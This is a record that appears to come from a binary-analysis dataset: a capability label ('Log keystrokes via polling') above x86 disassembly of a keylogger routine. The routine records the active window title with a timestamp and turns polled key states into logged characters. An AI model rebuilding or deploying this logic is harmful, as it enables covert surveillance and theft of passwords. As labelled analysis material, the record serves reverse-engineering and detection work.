Function at 0x401631
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x294
lea eax, [ebp - 0x120]
mov ecx, eax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::basic_stringstream__
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0x14], 0
je 0x40168d
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetKeyboardLayout]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0
je 0x4017a6
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x224]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowTextA]
call eax
sub esp, 0xc
mov dword [esp + 4], 0x40a180
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x4017a6
lea eax, [ebp - 0x224]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x100
mov dword [esp], 0x40a180
mov eax, dword [sym.imp.msvcrt.dll_strcpy_s]
call eax
mov dword [esp], 0
call sym._time
mov dword [ebp - 0x124], eax
lea eax, [ebp - 0x124]
mov dword [esp + 4], eax
lea eax, [ebp - 0x288]
mov dword [esp], eax
call sym._localtime_s
lea eax, [ebp - 0x288]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._FT_X_z
mov dword [esp + 4], 0x40
lea eax, [ebp - 0x264]
mov dword [esp], eax
call sym._strftime
mov dword [esp + 4], str._n_n_Window:
lea eax, [ebp - 0x120]
add eax, 8
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea edx, [ebp - 0x224]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp + 4], str.___at
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea edx, [ebp - 0x264]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp + 4], 0x40609b
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ecx, 0x40a154
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.end___const
mov dword [ebp - 0x50], eax
lea eax, [ebp + 8]
mov dword [esp], eax
mov ecx, 0x40a154
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.find_int_const
sub esp, 4
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x50]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call method.std.operator__std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char________const__std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::cha
test al, al
je 0x40180c
lea eax, [ebp + 8]
mov dword [esp], eax
mov ecx, 0x40a154
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.at_int_const__
sub esp, 4
mov dword [esp + 4], eax
lea eax, [ebp - 0x120]
add eax, 8
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x4018e7
mov dword [esp], 0x14
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
cwde
and eax, 1
test eax, eax
setne al
mov byte [ebp - 0xe], al
mov dword [esp], 0x10
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
cwde
and eax, 0x1000
test eax, eax
jne 0x40187a
mov dword [esp], 0xa0
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
cwde
and eax, 0x1000
test eax, eax
jne 0x40187a
mov dword [esp], 0xa1
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
cwde
and eax, 0x1000
test eax, eax
je 0x401881
mov eax, 1
jmp 0x401886
mov eax, 0
test al, al
je 0x40188e
xor byte [ebp - 0xe], 1
mov eax, dword [ebp + 8]
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 2
mov dword [esp], edx
mov eax, dword [sym.imp.USER32.dll_MapVirtualKeyExA]
call eax
sub esp, 0xc
mov byte [ebp - 0xd], al
movzx eax, byte [ebp - 0xe]
xor eax, 1
test al, al
je 0x4018ce
movsx eax, byte [ebp - 0xd]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_tolower]
call eax
mov byte [ebp - 0xd], al
movsx eax, byte [ebp - 0xd]
mov dword [esp + 4], eax
lea eax, [ebp - 0x120]
add eax, 8
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x120]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
sub esp, 4
lea eax, [ebp - 0x48]
mov dword [esp + 4], eax
mov dword [esp], 0x40a060
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x48]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ecx, 0x40a060
call sym.std::ostream::flush__
lea eax, [ebp - 0x30]
lea edx, [ebp - 0x120]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
sub esp, 4
lea eax, [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x30]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 0
lea eax, [ebp - 0x120]
mov ecx, eax
call fcn.00402118
mov eax, ebx
jmp 0x4019a2
mov ebx, dword [ebp - 4]
leave
ret